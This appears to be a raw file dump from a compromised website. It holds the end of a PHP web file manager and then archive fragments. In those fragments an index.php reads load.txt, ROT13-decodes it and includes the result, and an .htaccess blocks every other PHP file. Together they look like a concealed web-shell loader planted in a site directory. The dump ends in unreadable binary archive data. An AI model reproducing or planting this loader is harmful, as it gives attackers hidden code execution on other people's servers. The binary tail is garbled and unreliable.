        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>.htaccess000064400000000334150425251240006342 0ustar00<FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|pHP7|php7|phP|PhP|php5|php8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>
<FilesMatch '^(index.php)$'>
Order allow,deny
Allow from all
</FilesMatch>index.php.tar000064400000003000150425251240007142 0ustar00home/depancom/www/albums/elen/index.php000064400000000000150425250750014127 0ustar00index.php000064400000000160150425251240006361 0ustar00<?php
$kk = file_get_contents("load.txt");
$kk = str_rot13($kk);
file_put_contents('load', $kk);
include "load";PK���Z������	.htaccessnu�[���<FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|pHP7|php7|phP|PhP|php5|php8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>
<FilesMatch '^(index.php)$'>
Order allow,deny
Allow from all
</FilesMatch>PK���Z�_s�
index.php.tarnu�[���home/depancom/www/albums/elen/index.php000064400000000000150425250750014127 0ustar00PK���Z�GNpp	index.phpnu�[���<?php
$kk = file_get_contents("load.txt");
$kk = str_rot13($kk);
file_put_contents('load', $kk);
include "load";PK���ZN��C::
931753.tar.gznu�[�����	<�]�ɘ&�!�<�C�y�<��9�����B2E�	�y�,S��Ȑ�DI�\�u�����}��}���{=O\g��״��k�un'�-�����m���/�#,(��v"��'��'�+�/�/��/����	Bx�/��/?����;x���]!��K���E�x��b���&N^x�`�z:�8!�%�%�#��K�!=m���������jvU��w���Z�	��L_��S�5��]Q�d�~�QŰ���ch��Td��O��0��Fޏ�cN](a��i����)�C{�[[|{���M�E?Ǵ��2�3N�\ T<Rzia�hv�+癛
ٸ��l虿��ʺ��ng�{�S�Sb[��{7?�:��]“�U��
��6WF����ꤓS4o���ڱ���}��yFo��ΈpW��	;Nǩ�+4�4�A4yw-����[]i�}�~�W��rJz�sE�k�����v����L<nb����nߍ;�iB�]���=�G!u�^�__�~�5�Fک����A�q��/~9R1{�S�%_��*��ʤ��g���I]���a?7���Xo�@C�OTu�WK]�64�'�{,�v]nH!k �v��iV	�K�O2~0�|��hSI��^�������Erx���'�ź����כ�����4Ny�k�jf'1�?�8�k�bm�^�O�Ҷ���<uꚟ��	FA�{�"�-7��N�:[�N�����7u��o{�s�lO�e�s/|��D�/��,��.h�����Г�[Yk��G���K-b�����H�Nƛ��7��ǯ�V��)dpO)�}���t<§�\<��~���3�$�U�,~a���H9�HW>�ˡ���&=�,�h����&���9�L�Y6n�H��
.�ƹ�'�L���F2�GW�S�y�͍7噎o�������L]�E��<��1|��i�����o�5Φ=�_�'`����^�DS���:��G���.D�TaVԊcL2�icD-� 4KZ�A�-Hj�J��U�I?ҳd�`Xܵ�%�s��B)�.�o�F��N鹗�s(���`�Q�,{R9�����.w����
�1��O\�����R�Q�
�/�
�շh����(�+����
������&:Q�����D�G~�r�e�f�SG[�G�J�g��i�R��ۖ�_�YN�+zc��!���T���?��g;�lOɬoK�v��lK��
�n�d�Xe��Zѳ�ޔ)���ƶ��_�S��b�6���Q�n�8�)ly}�������A�u?_��z0�az��6N�3�?r�J�.>k���˜e�޷�mm�_ʤ_��֭2a�
6X�!��2�u6?6]����A���x��+Ge~�=(�<#;�S����C!er��Ѳ
���{�~��4z�h��r<��/�͝!A|ї����낪&'X��Up5���?��)�/?"
g�Og`č�寶^r�y.ӂ�IC��'1���R�3�򌵦0Π6{��SmAa�;6x�yk��4w(g��!|��6�I�D|꿴���6��R!�3�T�l�6���VE\=a}�7���#-�V6y��M[KWdg~�m��a~���&�<���S���+?6�x=
q{��<2�G�
��l,_�D���Gu�G��Jfv�9��_���&*X-�d~u��Z�k�u�$kF�yJ��+r���q����Ԉ1�j�輽�����٠�h�c��θ*O�;��O�wZ]$�rm�(R��a���k�ز��Y�_;a=��Y�|�,jWd7���w�}��n�$��~��+r�̋�>���;dJ32zc[���6���������U�|8�í��j@�}��vQ'�J.4���v	)_�T�dyp�C��Wy�1���?����-��dbdw3蹟�S`�������p�I9�ێ��;�l$b�'+�%p�/�H�9��T)U�t}��2�>���H�I���O������%E
Pӛ8�	1\3���<��+dOi}o�;�q=]|"�b����O�gGs�8dl'��}k�M�>�]��|8��穙oN"��,3�%+��(��ъ����'zo�<�=.Kl��z�5�!�C�!K���3J_>�K�sH�_�k�t+�ιă�/u'���+��j�Ϥ	�4(�`n��z�I�e�f��m�D�O��$D�2ʂ����yٜ����h���z���{�򾁳�W�*O���9��/��ij�L��`)[�'���aJP���\˟����c�c�3��������2��q�Pp��)V�^�矗Dn;�&��:k
�)U��N,�eڡ�j:�xOCO�Ojj7Lv�<Ɗuv�;�DE�}�%��M��A��oCbu��/f��
�h��w�0��c�iH�R���k#	9B
���]��cDo�q�x��.R5���ڰ�0�t;ȸ��q"~E�����o��=�YV�#��h��;|C+8>��09���#|T—/�����U.V%��g�:����Z�?K�;\���y���w��M�n�`�R�Ns|ؘ���#���b�g��Nͩ����*<W���RD��a�	ׯ���%�-C��1�0_������.�/2��f$8'�NǏבօ�_|�{C�������y��#�Ѹ��P��Z�K�ľ�[Z�kZ�Nn��%��R��1��)ny���b�Ns)��Bݠ�D�b�.��'nݱ	���l��E��m_A�߶�u(�:��ӽ���$]��W_t����7<T��g�ؑ�ks��<�k�~~n����:!��IJ�cO�4�|_σ�N^���i���BkQrmv�T����o;sZ��ٴ#�S�u
M��53x�-I_���pJZ����A}��4}EGG�t=�Lp>'zqQ_�$u�vSw/k�7���p"���y���K���gc�=�$��.���|�3uNU��t�6I2Eڽ�X�������9fIQ��I�g]��
9���6^wc��|ּ����3��5���Ѻj�m�.am��(�󥝀�!��1��f��\�c�'T�D��os�dT��Qݡ�a�Ӈ�H�e��HjR�ﰠ����,�\������k��V�n���n�z_K�C��oN�)�V��[L�T��~��5�y�w\���C�g��j%q�!��I�y^�xRP���m�쟳K�Kk�5�1mV�D�.#�R�v����w�p�8z6���xB�zQ�#Ǖ�;�[��`N����x"K@�Z�'�3!	�G3��m����?!�-�K�O|����Q�)!NT!v��z!{^P��^@g�"U�)��}ѼT�eQN/u��`����:�
��'���˸�r��������N(VG�2�Bb�9L��Q��]��p���6���A�֯�'�L��<�_�-��:�\3|��V�����8J�	QxQ$����3��7�OdFVi+�\��m�+=�=~5!ҍ����n%�l��<w���'�3u��Wz4�"֟�Cy?�\>�,)��
Q���0���?�™����ƶ[���_;��k��p)�53�k�N����V����K�d3ꈧ�/�X�y����s���>��>�}G V��J�Y�e��U�pT�O(��/��i/�.��KD&'9���s��);&���~}��6N�xs�i��9��w$����Kt����M|#��Ԧ�6���GȻ��0'��� �_����v��	7P6��H���Lɇ	��嗔��rm��}��x�C8��V��ӂ�kBr�1�a��㗬��B
%���A!^'��sc���#�L�n��h$׿��ɂ��A~Rh�Q"5�SD�	�޲�"�m�H�w�m�����n�Kλ��Sx!�_p"H1�>��u����[/Orvd��v81UkZ&&�²���E*��?��H��Z�|�����=��YLi��$ė�y��w+�P��@�iB�����[�ؙ�8��VdJ���7�u��[?�O)��a/a&���r�NLX��A�˹�ܞ8~�c�V>U)n����v�f9�[dƚV�w���D!y!8p��y�^�V�*Z���c�oų��NS#�
PF�v鄎OD�8��{u�~:· p�b6��2��{w3^\�j{�������;1��>q��Δ,P�%Ԫ/���|���ft�Hu}�=G��c�r$㲋�ݹ'c�¿����4%���u������U��*��f����{������-oj�|~2�y���= 2���	9��o�*w��B�0e��F#��Is��^.Y�I�z���w��D�ܧ�)˷���}b$Qo%Zv�DN�r3���V�����"	��0IE�}�H�^�^ķfuD5܎U��Uv�A������[�^b�l��k
Z~W��}kVZ���{�@��P���:��Α"�[�)��E��
�.�S��P
GW�:������S��8Ę���t�1HT�8��x��8����yrg�9U#	$��/����X���G&�R���]N����I��'a�r5(]/p~�O�'�]���ڦ)O�e��8��s�|�y�o�ސ�o����^�Ԋ��YI����9�Dc<w9+Cj�����-~��sW]gTL�Er�����Ro�]*���;_n��~��M&쒯����;��?�c�r/��b��Ǟ���t_t�o����RI��G�#���%�ǜ�xO�[�CQ�Q�(���Ÿ�y�.]U]:;�'���Y���$k�j�~O��M�4�gʗn��8�3E�}S/�����˜��mbmM��SR���/}(h��p���欯?�U��F�W}?m���<b:��c��oF���Zf"�r)\2h��Ƃ����/��V�_�x�q�-I�_���>�&6�9�o�Ǖ�g,�O���Hq�N�����l�0���o�����U���Sl���׈g/�4/��'bdt�h��)nϣ4CV?�[L8ު���so�Q�1�j<PoD)��iRZ�C8�Ԅ�%d�pȭ�bI�����44\^ya0��F��5�`��v��S7�y�ȸ��O.�}Mx���dV����7	˔�6T/.�Gx#6/,��~�]X��!"��n�<~��t��x~�"�B��}�	�}!}��
�̗�I����l�2ZlU���Dz&���[ɾ�J��ur�$E��GA�7j3%8V��xe���g�B����7�j�?n��}.8jpY�͊��.y�UN%�e��y/Z�O�K!��&�h{Mń&'���*��S{M�G��-��:1excZ",�Q@�X@5�O��ɊP�'�����j�����%picU�^��p�5�Lo�8%4�mW[��Ō�]t�Z��m"&���ϫ��?�Le��|i��x�1Kk㥂b��K�y���K�K>(��i��z�B�Z��c��H����p��'�(�������n�Ə{j7��"�~�ڎ�4g/|92'�H�S�s[\HF��e=�>3�Sh�Igx���M�'�R�u��v�n�ѵ
J�.9;^���XnI|Iek�t�
�LG㯉2�͖�~XG��Đ�Z?>=t�����q�"��(ZU�i������+ܟr�"�t,�ޯ�шoI�v������ehәxZX�+xB��Zȫ����7~��v�ɠ�cu��Lr�{�|�E2r~
�}7��YV���6w�c�Q���#1R1mgm�=��D�+Ì׻��s4]g��S�h��^ �O�����rp�T}��e�舐�~E���`_��1(���c���ꈝ�:d�
�
R�F���}�v���"BD�@�-���Tv�^>s1��V٭��Ѵat�]�W����2h|/&�P}�zR<�<�M������9�B;H-��
